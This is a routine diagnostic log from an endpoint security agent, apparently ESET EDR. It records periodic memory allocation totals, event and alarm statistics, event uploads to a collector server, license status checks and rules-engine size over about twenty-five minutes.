2026-03-04 12:38:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1750 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; rules::ProcessConditionsCache: 388 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 195 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 50 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129597 KB;
2026-03-04 12:39:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2154 KB; ModuleMetadata: 1896 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 529 KB; BaseEvent: 382 KB; rules::ProcessConditionsCache: 380 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 102 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130219 KB;
2026-03-04 12:40:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2567 KB; ModuleMetadata: 1896 KB; TcpIpConnectionsManager: 578 KB; BaseEvent: 569 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 544 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 152 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 89 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 21 KB; ProcessInfoCommandLineTag: 17 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 130641 KB;
2026-03-04 12:41:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:37:48, To:, 2026-03-04 12:41:45, Duration (s):, 237, Events Per Second:, 17.351, Events:, 4121, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3437, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 683, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 459838
2026-03-04 12:41:47 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s356ms.
2026-03-04 12:41:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1445 KB; TcpIpConnectionsManager: 575 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 562 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 58 KB; BaseEvent: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128803 KB;
2026-03-04 12:42:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1808 KB; TcpIpConnectionsManager: 568 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 563 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 208 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 53 KB; rules::ProcessConditionsCache: 47 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129378 KB;
2026-03-04 12:43:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:43:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:43:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:43:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:43:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:43:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:43:40 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2169 KB; ModuleMetadata: 1896 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 550 KB; BaseEvent: 387 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 100 KB; rules::ProcessConditionsCache: 36 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129935 KB;
2026-03-04 12:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2577 KB; ModuleMetadata: 1896 KB; BaseEvent: 579 KB; TcpIpConnectionsManager: 568 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 153 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 82 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 17 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130625 KB;
2026-03-04 12:45:49 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:41:45, To:, 2026-03-04 12:45:49, Duration (s):, 244, Events Per Second:, 16.756, Events:, 4093, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3386, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 706, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455185
2026-03-04 12:45:52 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s275ms.
2026-03-04 12:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1374 KB; TcpIpConnectionsManager: 572 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 98 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128725 KB;
2026-03-04 12:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1761 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 550 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BaseEvent: 246 KB; rules::ProcessConditionsCache: 144 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 65 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129487 KB;
2026-03-04 12:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2120 KB; ModuleMetadata: 1896 KB; TcpIpConnectionsManager: 553 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 552 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 428 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; BatchSerializer::EventsQueueTag: 112 KB; rules::ProcessConditionsCache: 92 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129980 KB;
2026-03-04 12:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:48:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:48:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:48:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:48:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2483 KB; ModuleMetadata: 1896 KB; BaseEvent: 607 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 556 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 542 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; BatchSerializer::EventsQueueTag: 159 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130553 KB;
2026-03-04 12:49:44 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:45:48, To:, 2026-03-04 12:49:44, Duration (s):, 236, Events Per Second:, 16.997, Events:, 4027, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3200, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 72, Livegrid:, 72, OriginUrl:, 0, Alarms:, 682, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 441979
2026-03-04 12:49:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s202ms.
2026-03-04 12:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1323 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; cloudutils::CloudData: 131 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 21 KB; BaseEvent: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; BatchSerializer::EventsQueueTag: 4 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128569 KB;
2026-03-04 12:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1449 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 407 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 165 KB; cloudutils::CloudData: 131 KB; BaseEvent: 83 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128802 KB;
2026-03-04 12:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1498 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 555 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 306 KB; TcpIpConnectionsManager: 288 KB; CacheEntry: 278 KB; rules::ProcessConditionsCache: 220 KB; cloudutils::CloudData: 131 KB; BaseEvent: 106 KB; BatchSerializer::EventsQueueTag: 27 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 128816 KB;
2026-03-04 12:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1896 KB; ProcessInfo: 1737 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 556 KB; rules::AncestorEvaluations: 551 KB; ModuleInfoCache: 306 KB; CacheEntry: 278 KB; TcpIpConnectionsManager: 237 KB; BaseEvent: 225 KB; cloudutils::CloudData: 131 KB; rules::ProcessConditionsCache: 68 KB; BatchSerializer::EventsQueueTag: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129003 KB;
2026-03-04 12:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:53:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:53:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:53:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:53:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2098 KB; ModuleMetadata: 1898 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 403 KB; TcpIpConnectionsManager: 337 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 105 KB; rules::ProcessConditionsCache: 58 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 129664 KB;
2026-03-04 12:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2455 KB; ModuleMetadata: 1898 KB; BaseEvent: 577 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; TcpIpConnectionsManager: 470 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 150 KB; cloudutils::CloudData: 130 KB; rules::ProcessConditionsCache: 34 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130351 KB;
2026-03-04 12:55:45 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:49:44, To:, 2026-03-04 12:55:45, Duration (s):, 361, Events Per Second:, 11.356, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3345, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 24, Livegrid:, 24, OriginUrl:, 0, Alarms:, 711, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 455392
2026-03-04 12:55:46 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s383ms.
2026-03-04 12:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1355 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BaseEvent: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; BatchSerializer::EventsQueueTag: 6 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 128579 KB;
2026-03-04 12:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1715 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 202 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 52 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; rules::ProcessConditionsCache: 5 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 129152 KB;
2026-03-04 12:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2100 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 525 KB; rules::ProcessConditionsCache: 416 KB; BaseEvent: 385 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 101 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130204 KB;
2026-03-04 12:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 12:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 12:58:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 12:58:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 12:58:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 12:58:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 12:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2461 KB; ModuleMetadata: 1898 KB; BaseEvent: 563 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 549 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; rules::ProcessConditionsCache: 392 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 148 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 130764 KB;
2026-03-04 12:59:53 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 12:55:37, To:, 2026-03-04 12:59:53, Duration (s):, 256, Events Per Second:, 16.066, Events:, 4119, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3399, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 719, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456312
2026-03-04 12:59:54 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s437ms.
2026-03-04 12:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1321 KB; TcpIpConnectionsManager: 560 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 527 KB; rules::ProcessConditionsCache: 366 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ProcessInfoCommandLineTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 0 KB; BaseEvent: 0 KB; BatchStringTag: 0 KB; Total: 128897 KB;
2026-03-04 13:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ModuleMetadata: 1898 KB; ProcessInfo: 1715 KB; TcpIpConnectionsManager: 552 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 530 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BaseEvent: 183 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 48 KB; rules::CachedConditionEvaluationCtx: 22 KB; rules::ProcessConditionsCache: 13 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 12 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 129172 KB;
2026-03-04 13:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2078 KB; ModuleMetadata: 1898 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; rules::ProcessConditionsCache: 418 KB; BaseEvent: 364 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; cloudutils::CloudData: 130 KB; BatchSerializer::EventsQueueTag: 96 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130159 KB;
2026-03-04 13:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 122910 KB; ProcessInfo: 2448 KB; ModuleMetadata: 1898 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 546 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 406 KB; ModuleInfoCache: 306 KB; CacheEntry: 280 KB; BatchSerializer::EventsQueueTag: 144 KB; cloudutils::CloudData: 130 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 130754 KB;
2026-03-04 13:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 13:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 13:03:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 13:03:41 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
